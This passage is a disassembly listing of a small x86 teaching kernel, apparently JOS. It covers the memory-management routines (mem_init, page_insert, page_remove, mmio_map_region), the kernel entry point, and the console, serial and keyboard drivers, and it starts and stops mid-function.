f01002a4: 01 d9 add %ebx,%ecx
f01002a6: 81 c3 00 10 00 00 add $0x1000,%ebx
f01002ac: 81 e1 00 f0 ff ff and $0xfffff000,%ecx
f01002b2: 0b 4d e4 or -0x1c(%ebp),%ecx
f01002b5: 89 08 mov %ecx,(%eax)
f01002b7: eb ce jmp f0100287 <boot_map_region+0x18>
f01002b9: 8d 65 f4 lea -0xc(%ebp),%esp
f01002bc: 5b pop %ebx
f01002bd: 5e pop %esi
f01002be: 5f pop %edi
f01002bf: 5d pop %ebp
f01002c0: c3 ret
f01002c1 <mem_init>:
f01002c1: 55 push %ebp
f01002c2: b0 15 mov $0x15,%al
f01002c4: 89 e5 mov %esp,%ebp
f01002c6: 57 push %edi
f01002c7: 56 push %esi
f01002c8: 53 push %ebx
f01002c9: bf 70 00 00 00 mov $0x70,%edi
f01002ce: 89 fa mov %edi,%edx
f01002d0: 83 ec 0c sub $0xc,%esp
f01002d3: ee out %al,(%dx)
f01002d4: be 71 00 00 00 mov $0x71,%esi
f01002d9: 89 f2 mov %esi,%edx
f01002db: ec in (%dx),%al
f01002dc: 0f b6 c8 movzbl %al,%ecx
f01002df: 89 fa mov %edi,%edx
f01002e1: b0 16 mov $0x16,%al
f01002e3: ee out %al,(%dx)
f01002e4: 89 f2 mov %esi,%edx
f01002e6: ec in (%dx),%al
f01002e7: 0f b6 d8 movzbl %al,%ebx
f01002ea: 89 fa mov %edi,%edx
f01002ec: b0 17 mov $0x17,%al
f01002ee: c1 e3 08 shl $0x8,%ebx
f01002f1: 09 cb or %ecx,%ebx
f01002f3: c1 fb 02 sar $0x2,%ebx
f01002f6: 89 1d 48 f9 11 f0 mov %ebx,0xf011f948
f01002fc: ee out %al,(%dx)
f01002fd: 89 f2 mov %esi,%edx
f01002ff: ec in (%dx),%al
f0100300: 0f b6 c8 movzbl %al,%ecx
f0100303: 89 fa mov %edi,%edx
f0100305: b0 18 mov $0x18,%al
f0100307: ee out %al,(%dx)
f0100308: 89 f2 mov %esi,%edx
f010030a: ec in (%dx),%al
f010030b: 0f b6 c0 movzbl %al,%eax
f010030e: c1 e0 08 shl $0x8,%eax
f0100311: 09 c8 or %ecx,%eax
f0100313: c1 f8 02 sar $0x2,%eax
f0100316: 74 0c je f0100324 <mem_init+0x63>
f0100318: 05 00 01 00 00 add $0x100,%eax
f010031d: a3 c0 08 12 f0 mov %eax,0xf01208c0
f0100322: eb 06 jmp f010032a <mem_init+0x69>
f0100324: 89 1d c0 08 12 f0 mov %ebx,0xf01208c0
f010032a: 50 push %eax
f010032b: 50 push %eax
f010032c: a1 c0 08 12 f0 mov 0xf01208c0,%eax
f0100331: c1 e0 02 shl $0x2,%eax
f0100334: 50 push %eax
f0100335: 68 e1 2a 10 f0 push $0xf0102ae1
f010033a: e8 27 21 00 00 call f0102466 <cprintf>
f010033f: b8 00 10 00 00 mov $0x1000,%eax
f0100344: e8 f7 fc ff ff call f0100040 <boot_alloc>
f0100349: 83 c4 0c add $0xc,%esp
f010034c: a3 c4 08 12 f0 mov %eax,0xf01208c4
f0100351: 68 00 10 00 00 push $0x1000
f0100356: 6a 00 push $0x0
f0100358: 50 push %eax
f0100359: e8 b6 24 00 00 call f0102814 <memset>
f010035e: 8b 15 c4 08 12 f0 mov 0xf01208c4,%edx
f0100364: 8d 82 00 00 00 10 lea 0x10000000(%edx),%eax
f010036a: 83 c8 05 or $0x5,%eax
f010036d: 89 82 f4 0e 00 00 mov %eax,0xef4(%edx)
f0100373: a1 c0 08 12 f0 mov 0xf01208c0,%eax
f0100378: c1 e0 03 shl $0x3,%eax
f010037b: e8 c0 fc ff ff call f0100040 <boot_alloc>
f0100380: 8b 35 c0 08 12 f0 mov 0xf01208c0,%esi
f0100386: 83 c4 0c add $0xc,%esp
f0100389: a3 c8 08 12 f0 mov %eax,0xf01208c8
f010038e: 8d 14 f5 00 00 00 00 lea 0x0(,%esi,8),%edx
f0100395: 52 push %edx
f0100396: 6a 00 push $0x0
f0100398: 50 push %eax
f0100399: e8 76 24 00 00 call f0102814 <memset>
f010039e: b8 00 f0 01 00 mov $0x1f000,%eax
f01003a3: e8 98 fc ff ff call f0100040 <boot_alloc>
f01003a8: a3 b0 04 12 f0 mov %eax,0xf01204b0
f01003ad: e8 e0 fc ff ff call f0100092 <page_init>
f01003b2: a1 c0 08 12 f0 mov 0xf01208c0,%eax
f01003b7: 5a pop %edx
f01003b8: 5b pop %ebx
f01003b9: 8d 0c c5 ff 0f 00 00 lea 0xfff(,%eax,8),%ecx
f01003c0: a1 c8 08 12 f0 mov 0xf01208c8,%eax
f01003c5: 6a 05 push $0x5
f01003c7: ba 00 00 00 ef mov $0xef000000,%edx
f01003cc: 81 e1 00 f0 ff ff and $0xfffff000,%ecx
f01003d2: 05 00 00 00 10 add $0x10000000,%eax
f01003d7: 50 push %eax
f01003d8: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f01003dd: e8 8d fe ff ff call f010026f <boot_map_region>
f01003e2: a1 b0 04 12 f0 mov 0xf01204b0,%eax
f01003e7: b9 00 00 40 00 mov $0x400000,%ecx
f01003ec: ba 00 00 c0 ee mov $0xeec00000,%edx
f01003f1: 5e pop %esi
f01003f2: 5f pop %edi
f01003f3: 05 00 00 00 10 add $0x10000000,%eax
f01003f8: 6a 05 push $0x5
f01003fa: 50 push %eax
f01003fb: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f0100400: e8 6a fe ff ff call f010026f <boot_map_region>
f0100405: 58 pop %eax
f0100406: 5a pop %edx
f0100407: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f010040c: 6a 03 push $0x3
f010040e: b9 00 80 00 00 mov $0x8000,%ecx
f0100413: 68 00 40 10 00 push $0x104000
f0100418: ba 00 80 ff ef mov $0xefff8000,%edx
f010041d: e8 4d fe ff ff call f010026f <boot_map_region>
f0100422: 59 pop %ecx
f0100423: 5b pop %ebx
f0100424: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f0100429: 6a 03 push $0x3
f010042b: b9 ff ff ff 0f mov $0xfffffff,%ecx
f0100430: 6a 00 push $0x0
f0100432: ba 00 00 00 f0 mov $0xf0000000,%edx
f0100437: e8 33 fe ff ff call f010026f <boot_map_region>
f010043c: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f0100441: 05 00 00 00 10 add $0x10000000,%eax
f0100446: 0f 22 d8 mov %eax,%cr3
f0100449: 0f 20 c0 mov %cr0,%eax
f010044c: 83 e0 f3 and $0xfffffff3,%eax
f010044f: 0d 23 00 05 80 or $0x80050023,%eax
f0100454: 0f 22 c0 mov %eax,%cr0
f0100457: 83 c4 10 add $0x10,%esp
f010045a: 8d 65 f4 lea -0xc(%ebp),%esp
f010045d: 5b pop %ebx
f010045e: 5e pop %esi
f010045f: 5f pop %edi
f0100460: 5d pop %ebp
f0100461: c3 ret
f0100462 <page_lookup>:
f0100462: 55 push %ebp
f0100463: 89 e5 mov %esp,%ebp
f0100465: 53 push %ebx
f0100466: 83 ec 08 sub $0x8,%esp
f0100469: 8b 5d 10 mov 0x10(%ebp),%ebx
f010046c: 6a 00 push $0x0
f010046e: ff 75 0c pushl 0xc(%ebp)
f0100471: ff 75 08 pushl 0x8(%ebp)
f0100474: e8 8b fd ff ff call f0100204 <pgdir_walk>
f0100479: 89 c2 mov %eax,%edx
f010047b: 83 c4 10 add $0x10,%esp
f010047e: 31 c0 xor %eax,%eax
f0100480: 85 d2 test %edx,%edx
f0100482: 74 14 je f0100498 <page_lookup+0x36>
f0100484: 85 db test %ebx,%ebx
f0100486: 74 02 je f010048a <page_lookup+0x28>
f0100488: 89 13 mov %edx,(%ebx)
f010048a: 8b 02 mov (%edx),%eax
f010048c: 8b 15 c8 08 12 f0 mov 0xf01208c8,%edx
f0100492: c1 e8 0c shr $0xc,%eax
f0100495: 8d 04 c2 lea (%edx,%eax,8),%eax
f0100498: 8b 5d fc mov -0x4(%ebp),%ebx
f010049b: c9 leave
f010049c: c3 ret
f010049d <tlb_invalidate>:
f010049d: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f01004a2: 55 push %ebp
f01004a3: 89 e5 mov %esp,%ebp
f01004a5: 85 c0 test %eax,%eax
f01004a7: 74 08 je f01004b1 <tlb_invalidate+0x14>
f01004a9: 8b 55 08 mov 0x8(%ebp),%edx
f01004ac: 39 50 60 cmp %edx,0x60(%eax)
f01004af: 75 06 jne f01004b7 <tlb_invalidate+0x1a>
f01004b1: 8b 45 0c mov 0xc(%ebp),%eax
f01004b4: 0f 01 38 invlpg (%eax)
f01004b7: 5d pop %ebp
f01004b8: c3 ret
f01004b9 <page_remove>:
f01004b9: 55 push %ebp
f01004ba: 89 e5 mov %esp,%ebp
f01004bc: 56 push %esi
f01004bd: 53 push %ebx
f01004be: 8d 45 f4 lea -0xc(%ebp),%eax
f01004c1: 83 ec 14 sub $0x14,%esp
f01004c4: 8b 5d 08 mov 0x8(%ebp),%ebx
f01004c7: 8b 75 0c mov 0xc(%ebp),%esi
f01004ca: 50 push %eax
f01004cb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
f01004d2: 56 push %esi
f01004d3: 53 push %ebx
f01004d4: e8 89 ff ff ff call f0100462 <page_lookup>
f01004d9: 83 c4 10 add $0x10,%esp
f01004dc: 85 c0 test %eax,%eax
f01004de: 74 25 je f0100505 <page_remove+0x4c>
f01004e0: 83 ec 0c sub $0xc,%esp
f01004e3: 50 push %eax
f01004e4: e8 0a fd ff ff call f01001f3 <page_decref>
f01004e9: 8b 45 f4 mov -0xc(%ebp),%eax
f01004ec: 83 c4 10 add $0x10,%esp
f01004ef: 85 c0 test %eax,%eax
f01004f1: 74 06 je f01004f9 <page_remove+0x40>
f01004f3: c7 00 00 00 00 00 movl $0x0,(%eax)
f01004f9: 50 push %eax
f01004fa: 50 push %eax
f01004fb: 56 push %esi
f01004fc: 53 push %ebx
f01004fd: e8 9b ff ff ff call f010049d <tlb_invalidate>
f0100502: 83 c4 10 add $0x10,%esp
f0100505: 8d 65 f8 lea -0x8(%ebp),%esp
f0100508: 5b pop %ebx
f0100509: 5e pop %esi
f010050a: 5d pop %ebp
f010050b: c3 ret
f010050c <page_insert>:
f010050c: 55 push %ebp
f010050d: 89 e5 mov %esp,%ebp
f010050f: 57 push %edi
f0100510: 56 push %esi
f0100511: 53 push %ebx
f0100512: 83 ec 20 sub $0x20,%esp
f0100515: 8b 75 08 mov 0x8(%ebp),%esi
f0100518: 8b 7d 10 mov 0x10(%ebp),%edi
f010051b: 6a 01 push $0x1
f010051d: 8b 5d 0c mov 0xc(%ebp),%ebx
f0100520: 57 push %edi
f0100521: 56 push %esi
f0100522: e8 dd fc ff ff call f0100204 <pgdir_walk>
f0100527: 89 c2 mov %eax,%edx
f0100529: 83 c4 10 add $0x10,%esp
f010052c: b8 fc ff ff ff mov $0xfffffffc,%eax
f0100531: 85 d2 test %edx,%edx
f0100533: 74 3f je f0100574 <page_insert+0x68>
f0100535: 66 ff 43 04 incw 0x4(%ebx)
f0100539: f7 02 00 f0 ff ff testl $0xfffff000,(%edx)
f010053f: 74 1b je f010055c <page_insert+0x50>
f0100541: 50 push %eax
f0100542: 50 push %eax
f0100543: 57 push %edi
f0100544: 56 push %esi
f0100545: 89 55 e4 mov %edx,-0x1c(%ebp)
f0100548: e8 6c ff ff ff call f01004b9 <page_remove>
f010054d: 5a pop %edx
f010054e: 59 pop %ecx
f010054f: 57 push %edi
f0100550: 56 push %esi
f0100551: e8 47 ff ff ff call f010049d <tlb_invalidate>
f0100556: 8b 55 e4 mov -0x1c(%ebp),%edx
f0100559: 83 c4 10 add $0x10,%esp
f010055c: 2b 1d c8 08 12 f0 sub 0xf01208c8,%ebx
f0100562: 8b 45 14 mov 0x14(%ebp),%eax
f0100565: 83 c8 01 or $0x1,%eax
f0100568: c1 fb 03 sar $0x3,%ebx
f010056b: c1 e3 0c shl $0xc,%ebx
f010056e: 09 c3 or %eax,%ebx
f0100570: 31 c0 xor %eax,%eax
f0100572: 89 1a mov %ebx,(%edx)
f0100574: 8d 65 f4 lea -0xc(%ebp),%esp
f0100577: 5b pop %ebx
f0100578: 5e pop %esi
f0100579: 5f pop %edi
f010057a: 5d pop %ebp
f010057b: c3 ret
f010057c <mmio_map_region>:
f010057c: 55 push %ebp
f010057d: 89 e5 mov %esp,%ebp
f010057f: 53 push %ebx
f0100580: 51 push %ecx
f0100581: 8b 45 0c mov 0xc(%ebp),%eax
f0100584: 8b 15 00 e0 10 f0 mov 0xf010e000,%edx
f010058a: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
f0100590: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
f0100596: 8d 04 13 lea (%ebx,%edx,1),%eax
f0100599: 3d 00 00 c0 ef cmp $0xefc00000,%eax
f010059e: 76 15 jbe f01005b5 <mmio_map_region+0x39>
f01005a0: 52 push %edx
f01005a1: 68 ee 2a 10 f0 push $0xf0102aee
f01005a6: 68 ef 01 00 00 push $0x1ef
f01005ab: 68 b5 2a 10 f0 push $0xf0102ab5
f01005b0: e8 1c 20 00 00 call f01025d1 <_panic>
f01005b5: 50 push %eax
f01005b6: 50 push %eax
f01005b7: 89 d9 mov %ebx,%ecx
f01005b9: a1 c4 08 12 f0 mov 0xf01208c4,%eax
f01005be: 6a 1a push $0x1a
f01005c0: ff 75 08 pushl 0x8(%ebp)
f01005c3: e8 a7 fc ff ff call f010026f <boot_map_region>
f01005c8: a1 00 e0 10 f0 mov 0xf010e000,%eax
f01005cd: 01 c3 add %eax,%ebx
f01005cf: 89 1d 00 e0 10 f0 mov %ebx,0xf010e000
f01005d5: 8b 5d fc mov -0x4(%ebp),%ebx
f01005d8: c9 leave
f01005d9: c3 ret
f01005da <i386_init>:
f01005da: 55 push %ebp
f01005db: b8 d0 08 12 f0 mov $0xf01208d0,%eax
f01005e0: 2d 28 f9 11 f0 sub $0xf011f928,%eax
f01005e5: 89 e5 mov %esp,%ebp
f01005e7: 83 ec 0c sub $0xc,%esp
f01005ea: 50 push %eax
f01005eb: 6a 00 push $0x0
f01005ed: 68 28 f9 11 f0 push $0xf011f928
f01005f2: e8 1d 22 00 00 call f0102814 <memset>
f01005f7: e8 59 02 00 00 call f0100855 <cons_init>
f01005fc: e8 c0 fc ff ff call f01002c1 <mem_init>
f0100601: e8 a4 15 00 00 call f0101baa <env_init>
f0100606: e8 71 07 00 00 call f0100d7c <trap_init>
f010060b: e8 31 14 00 00 call f0101a41 <pic_init>
f0100610: 58 pop %eax
f0100611: 5a pop %edx
f0100612: 6a 01 push $0x1
f0100614: 68 80 e3 10 f0 push $0xf010e380
f0100619: e8 ff 16 00 00 call f0101d1d <env_create>
f010061e: 59 pop %ecx
f010061f: 58 pop %eax
f0100620: 6a 00 push $0x0
f0100622: 68 74 87 11 f0 push $0xf0118774
f0100627: e8 f1 16 00 00 call f0101d1d <env_create>
f010062c: e8 3f 13 00 00 call f0101970 <sched_yield>
f0100631 <delay>:
f0100631: 55 push %ebp
f0100632: ba 84 00 00 00 mov $0x84,%edx
f0100637: 89 e5 mov %esp,%ebp
f0100639: ec in (%dx),%al
f010063a: ec in (%dx),%al
f010063b: ec in (%dx),%al
f010063c: ec in (%dx),%al
f010063d: 5d pop %ebp
f010063e: c3 ret
f010063f <serial_proc_data>:
f010063f: 55 push %ebp
f0100640: ba fd 03 00 00 mov $0x3fd,%edx
f0100645: 89 e5 mov %esp,%ebp
f0100647: ec in (%dx),%al
f0100648: 83 c9 ff or $0xffffffff,%ecx
f010064b: a8 01 test $0x1,%al
f010064d: 74 06 je f0100655 <serial_proc_data+0x16>
f010064f: b2 f8 mov $0xf8,%dl
f0100651: ec in (%dx),%al
f0100652: 0f b6 c8 movzbl %al,%ecx
f0100655: 89 c8 mov %ecx,%eax
f0100657: 5d pop %ebp
f0100658: c3 ret
f0100659 <cons_intr>:
f0100659: 55 push %ebp
f010065a: 89 e5 mov %esp,%ebp
f010065c: 56 push %esi
f010065d: 53 push %ebx
f010065e: 89 c6 mov %eax,%esi
f0100660: ff d6 call *%esi
f0100662: 83 f8 ff cmp $0xffffffff,%eax
f0100665: 74 2d je f0100694 <cons_intr+0x3b>
f0100667: 85 c0 test %eax,%eax
f0100669: 74 f5 je f0100660 <cons_intr+0x7>
f010066b: 8b 1d c4 fb 11 f0 mov 0xf011fbc4,%ebx
f0100671: 8d 4b 01 lea 0x1(%ebx),%ecx
f0100674: 88 83 c0 f9 11 f0 mov %al,-0xfee0640(%ebx)
f010067a: 81 f9 00 02 00 00 cmp $0x200,%ecx
f0100680: 89 0d c4 fb 11 f0 mov %ecx,0xf011fbc4
f0100686: 75 d8 jne f0100660 <cons_intr+0x7>
f0100688: c7 05 c4 fb 11 f0 00 movl $0x0,0xf011fbc4
f010068f: 00 00 00
f0100692: eb cc jmp f0100660 <cons_intr+0x7>
f0100694: 5b pop %ebx
f0100695: 5e pop %esi
f0100696: 5d pop %ebp
f0100697: c3 ret
f0100698 <cons_putc>:
f0100698: 55 push %ebp
f0100699: 89 e5 mov %esp,%ebp
f010069b: 56 push %esi
f010069c: 31 f6 xor %esi,%esi
f010069e: 53 push %ebx
f010069f: 89 c3 mov %eax,%ebx
f01006a1: ba fd 03 00 00 mov $0x3fd,%edx
f01006a6: ec in (%dx),%al
f01006a7: a8 20 test $0x20,%al
f01006a9: 75 10 jne f01006bb <cons_putc+0x23>
f01006ab: 81 fe 00 32 00 00 cmp $0x3200,%esi
f01006b1: 74 08 je f01006bb <cons_putc+0x23>
f01006b3: e8 79 ff ff ff call f0100631 <delay>
f01006b8: 46 inc %esi
f01006b9: eb e6 jmp f01006a1 <cons_putc+0x9>
f01006bb: 83 fb 08 cmp $0x8,%ebx
f01006be: ba f8 03 00 00 mov $0x3f8,%edx
f01006c3: 88 d8 mov %bl,%al
f01006c5: 75 4a jne f0100711 <cons_putc+0x79>
f01006c7: b0 08 mov $0x8,%al
f01006c9: ee out %al,(%dx)
f01006ca: 31 f6 xor %esi,%esi
f01006cc: ba fd 03 00 00 mov $0x3fd,%edx
f01006d1: ec in (%dx),%al
f01006d2: a8 20 test $0x20,%al
f01006d4: 75 10 jne f01006e6 <cons_putc+0x4e>
f01006d6: 81 fe 00 32 00 00 cmp $0x3200,%esi
f01006dc: 74 08 je f01006e6 <cons_putc+0x4e>
f01006de: e8 4e ff ff ff call f0100631 <delay>
f01006e3: 46 inc %esi
f01006e4: eb e6 jmp f01006cc <cons_putc+0x34>
f01006e6: ba f8 03 00 00 mov $0x3f8,%edx
f01006eb: b0 20 mov $0x20,%al
f01006ed: ee out %al,(%dx)
f01006ee: 31 f6 xor %esi,%esi
f01006f0: ba fd 03 00 00 mov $0x3fd,%edx
f01006f5: ec in (%dx),%al
f01006f6: a8 20 test $0x20,%al
f01006f8: 75 10 jne f010070a <cons_putc+0x72>
f01006fa: 81 fe 00 32 00 00 cmp $0x3200,%esi
f0100700: 74 08 je f010070a <cons_putc+0x72>
f0100702: e8 2a ff ff ff call f0100631 <delay>
f0100707: 46 inc %esi
f0100708: eb e6 jmp f01006f0 <cons_putc+0x58>
f010070a: ba f8 03 00 00 mov $0x3f8,%edx
f010070f: b0 08 mov $0x8,%al
f0100711: ee out %al,(%dx)
f0100712: 89 d8 mov %ebx,%eax
f0100714: 80 cc 07 or $0x7,%ah
f0100717: f7 c3 00 ff ff ff test $0xffffff00,%ebx
f010071d: 0f 44 d8 cmove %eax,%ebx
f0100720: 0f b6 c3 movzbl %bl,%eax
f0100723: 83 f8 09 cmp $0x9,%eax
f0100726: 74 59 je f0100781 <cons_putc+0xe9>
f0100728: 7f 07 jg f0100731 <cons_putc+0x99>
f010072a: 83 f8 08 cmp $0x8,%eax
f010072d: 74 0e je f010073d <cons_putc+0xa5>
f010072f: eb 7a jmp f01007ab <cons_putc+0x113>
f0100731: 83 f8 0a cmp $0xa,%eax
f0100734: 74 23 je f0100759 <cons_putc+0xc1>
f0100736: 83 f8 0d cmp $0xd,%eax
f0100739: 74 26 je f0100761 <cons_putc+0xc9>
f010073b: eb 6e jmp f01007ab <cons_putc+0x113>
f010073d: 66 a1 c8 fb 11 f0 mov 0xf011fbc8,%ax
f0100743: 66 85 c0 test %ax,%ax
f0100746: 74 7e je f01007c6 <cons_putc+0x12e>
f0100748: 48 dec %eax
f0100749: 30 db xor %bl,%bl
f010074b: 66 a3 c8 fb 11 f0 mov %ax,0xf011fbc8
f0100751: 83 cb 20 or $0x20,%ebx
f0100754: 0f b7 c0 movzwl %ax,%eax
f0100757: eb 63 jmp f01007bc <cons_putc+0x124>
f0100759: 66 83 05 c8 fb 11 f0 addw $0x50,0xf011fbc8
f0100760: 50
f0100761: 66 a1 c8 fb 11 f0 mov 0xf011fbc8,%ax
f0100767: b9 50 00 00 00 mov $0x50,%ecx
f010076c: 31 d2 xor %edx,%edx
f010076e: 66 f7 f1 div %cx
f0100771: 66 a1 c8 fb 11 f0 mov 0xf011fbc8,%ax
f0100777: 29 d0 sub %edx,%eax
f0100779: 66 a3 c8 fb 11 f0 mov %ax,0xf011fbc8
f010077f: eb 45 jmp f01007c6 <cons_putc+0x12e>
f0100781: b8 20 00 00 00 mov $0x20,%eax
f0100786: e8 0d ff ff ff call f0100698 <cons_putc>
f010078b: b8 20 00 00 00 mov $0x20,%eax
f0100790: e8 03 ff ff ff call f0100698 <cons_putc>
f0100795: b8 20 00 00 00 mov $0x20,%eax
f010079a: e8 f9 fe ff ff call f0100698 <cons_putc>
f010079f: b8 20 00 00 00 mov $0x20,%eax
f01007a4: e8 ef fe ff ff call f0100698 <cons_putc>
f01007a9: eb 1b jmp f01007c6 <cons_putc+0x12e>
f01007ab: 0f b7 05 c8 fb 11 f0 movzwl 0xf011fbc8,%eax
f01007b2: 8d 50 01 lea 0x1(%eax),%edx
f01007b5: 66 89 15 c8 fb 11 f0 mov %dx,0xf011fbc8
f01007bc: 8b 15 cc fb 11 f0 mov 0xf011fbcc,%edx
f01007c2: 66 89 1c 42 mov %bx,(%edx,%eax,2)
f01007c6: 66 81 3d c8 fb 11 f0 cmpw $0x7cf,0xf011fbc8
f01007cd: cf 07
f01007cf: 76 3c jbe f010080d <cons_putc+0x175>
f01007d1: a1 cc fb 11 f0 mov 0xf011fbcc,%eax
f01007d6: 52 push %edx
f01007d7: 68 00 0f 00 00 push $0xf00
f01007dc: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx
f01007e2: 52 push %edx
f01007e3: 50 push %eax
f01007e4: e8 78 20 00 00 call f0102861 <memmove>
f01007e9: 8b 15 cc fb 11 f0 mov 0xf011fbcc,%edx
f01007ef: 83 c4 10 add $0x10,%esp
f01007f2: b8 80 07 00 00 mov $0x780,%eax
f01007f7: 66 c7 04 42 20 07 movw $0x720,(%edx,%eax,2)
f01007fd: 40 inc %eax
f01007fe: 3d d0 07 00 00 cmp $0x7d0,%eax
f0100803: 75 f2 jne f01007f7 <cons_putc+0x15f>
f0100805: 66 83 2d c8 fb 11 f0 subw $0x50,0xf011fbc8
f010080c: 50
f010080d: 8b 0d d0 fb 11 f0 mov 0xf011fbd0,%ecx
f0100813: b0 0e mov $0xe,%al
f0100815: 89 ca mov %ecx,%edx
f0100817: ee out %al,(%dx)
f0100818: 66 a1 c8 fb 11 f0 mov 0xf011fbc8,%ax
f010081e: 8d 59 01 lea 0x1(%ecx),%ebx
f0100821: 89 da mov %ebx,%edx
f0100823: 66 c1 e8 08 shr $0x8,%ax
f0100827: ee out %al,(%dx)
f0100828: b0 0f mov $0xf,%al
f010082a: 89 ca mov %ecx,%edx
f010082c: ee out %al,(%dx)
f010082d: a0 c8 fb 11 f0 mov 0xf011fbc8,%al
f0100832: 89 da mov %ebx,%edx
f0100834: ee out %al,(%dx)
f0100835: 8d 65 f8 lea -0x8(%ebp),%esp
f0100838: 5b pop %ebx
f0100839: 5e pop %esi
f010083a: 5d pop %ebp
f010083b: c3 ret
f010083c <serial_intr>:
f010083c: 80 3d d4 fb 11 f0 00 cmpb $0x0,0xf011fbd4
f0100843: 55 push %ebp
f0100844: 89 e5 mov %esp,%ebp
f0100846: 74 0b je f0100853 <serial_intr+0x17>
f0100848: 5d pop %ebp
f0100849: b8 3f 06 10 f0 mov $0xf010063f,%eax
f010084e: e9 06 fe ff ff jmp f0100659 <cons_intr>
f0100853: 5d pop %ebp
f0100854: c3 ret
f0100855 <cons_init>:
f0100855: 55 push %ebp
f0100856: 89 e5 mov %esp,%ebp
f0100858: 57 push %edi
f0100859: 56 push %esi
f010085a: 53 push %ebx
f010085b: 66 a1 00 80 0b f0 mov 0xf00b8000,%ax
f0100861: 66 c7 05 00 80 0b f0 movw $0xa55a,0xf00b8000
f0100868: 5a a5
f010086a: 66 8b 15 00 80 0b f0 mov 0xf00b8000,%dx
f0100871: 66 81 fa 5a a5 cmp $0xa55a,%dx
f0100876: 74 11 je f0100889 <cons_init+0x34>
f0100878: c7 05 d0 fb 11 f0 b4 movl $0x3b4,0xf011fbd0
f010087f: 03 00 00
f0100882: be 00 00 0b f0 mov $0xf00b0000,%esi
f0100887: eb 15 jmp f010089e <cons_init+0x49>
f0100889: 66 a3 00 80 0b f0 mov %ax,0xf00b8000
f010088f: be 00 80 0b f0 mov $0xf00b8000,%esi
f0100894: c7 05 d0 fb 11 f0 d4 movl $0x3d4,0xf011fbd0
f010089b: 03 00 00
f010089e: 8b 3d d0 fb 11 f0 mov 0xf011fbd0,%edi
f01008a4: b0 0e mov $0xe,%al
f01008a6: 89 fa mov %edi,%edx
f01008a8: ee out %al,(%dx)
f01008a9: 8d 4f 01 lea 0x1(%edi),%ecx
f01008ac: 89 ca mov %ecx,%edx
f01008ae: ec in (%dx),%al
f01008af: 0f b6 c0 movzbl %al,%eax
f01008b2: 89 fa mov %edi,%edx
f01008b4: c1 e0 08 shl $0x8,%eax
f01008b7: 89 c3 mov %eax,%ebx
f01008b9: b0 0f mov $0xf,%al
f01008bb: ee out %al,(%dx)
f01008bc: 89 ca mov %ecx,%edx
f01008be: ec in (%dx),%al
f01008bf: 0f b6 c8 movzbl %al,%ecx
f01008c2: 89 d8 mov %ebx,%eax
f01008c4: 31 db xor %ebx,%ebx
f01008c6: 09 c8 or %ecx,%eax
f01008c8: b9 fa 03 00 00 mov $0x3fa,%ecx
f01008cd: 89 35 cc fb 11 f0 mov %esi,0xf011fbcc
f01008d3: 66 a3 c8 fb 11 f0 mov %ax,0xf011fbc8
f01008d9: 89 ca mov %ecx,%edx
f01008db: 88 d8 mov %bl,%al
f01008dd: ee out %al,(%dx)
f01008de: bf fb 03 00 00 mov $0x3fb,%edi
f01008e3: b0 80 mov $0x80,%al
f01008e5: 89 fa mov %edi,%edx
f01008e7: ee out %al,(%dx)
f01008e8: b0 0c mov $0xc,%al
f01008ea: b2 f8 mov $0xf8,%dl
f01008ec: ee out %al,(%dx)
f01008ed: be f9 03 00 00 mov $0x3f9,%esi
f01008f2: 88 d8 mov %bl,%al
f01008f4: 89 f2 mov %esi,%edx
f01008f6: ee out %al,(%dx)
f01008f7: b0 03 mov $0x3,%al
f01008f9: 89 fa mov %edi,%edx
f01008fb: ee out %al,(%dx)
f01008fc: b2 fc mov $0xfc,%dl
f01008fe: 88 d8 mov %bl,%al
f0100900: ee out %al,(%dx)
f0100901: b0 01 mov $0x1,%al
f0100903: 89 f2 mov %esi,%edx
f0100905: ee out %al,(%dx)
f0100906: b2 fd mov $0xfd,%dl
f0100908: ec in (%dx),%al
f0100909: fe c0 inc %al
f010090b: 89 ca mov %ecx,%edx
f010090d: 0f 95 05 d4 fb 11 f0 setne 0xf011fbd4
f0100914: ec in (%dx),%al
f0100915: b2 f8 mov $0xf8,%dl
f0100917: ec in (%dx),%al
f0100918: 5b pop %ebx
f0100919: 5e pop %esi
f010091a: 5f pop %edi
f010091b: 5d pop %ebp
f010091c: c3 ret
f010091d <printstr>:
f010091d: 55 push %ebp
f010091e: 89 e5 mov %esp,%ebp
f0100920: 53 push %ebx
f0100921: 52 push %edx
f0100922: 31 db xor %ebx,%ebx
f0100924: 8b 45 08 mov 0x8(%ebp),%eax
f0100927: 0f be 04 18 movsbl (%eax,%ebx,1),%eax
f010092b: 84 c0 test %al,%al
f010092d: 74 0d je f010093c <printstr+0x1f>
f010092f: 43 inc %ebx
f0100930: 83 fb 65 cmp $0x65,%ebx
f0100933: 74 07 je f010093c <printstr+0x1f>
f0100935: e8 5e fd ff ff call f0100698 <cons_putc>
f010093a: eb e8 jmp f0100924 <printstr+0x7>
f010093c: 58 pop %eax
f010093d: 5b pop %ebx
f010093e: 5d pop %ebp
f010093f: c3 ret
f0100940 <kbd_proc_data>:
f0100940: 55 push %ebp
f0100941: ba 64 00 00 00 mov $0x64,%edx
f0100946: 89 e5 mov %esp,%ebp
f0100948: 53 push %ebx
f0100949: 50 push %eax
f010094a: ec in (%dx),%al
f010094b: 83 cb ff or $0xffffffff,%ebx
f010094e: a8 01 test $0x1,%al
f0100950: 0f 84 c9 00 00 00 je f0100a1f <kbd_proc_data+0xdf>
f0100956: b2 60 mov $0x60,%dl
f0100958: ec in (%dx),%al
f0100959: 3c e0 cmp $0xe0,%al
f010095b: 88 c1 mov %al,%cl
f010095d: 75 09 jne f0100968 <kbd_proc_data+0x28>
f010095f: 83 0d 80 f9 11 f0 40 orl $0x40,0xf011f980
f0100966: eb 2d jmp f0100995 <kbd_proc_data+0x55>
f0100968: 84 c0 test %al,%al
f010096a: 8b 1d 80 f9 11 f0 mov 0xf011f980,%ebx
f0100970: 79 2a jns f010099c <kbd_proc_data+0x5c>
f0100972: 88 c1 mov %al,%cl
f0100974: 83 e1 7f and $0x7f,%ecx
f0100977: f6 c3 40 test $0x40,%bl
f010097a: 0f 45 c8 cmovne %eax,%ecx
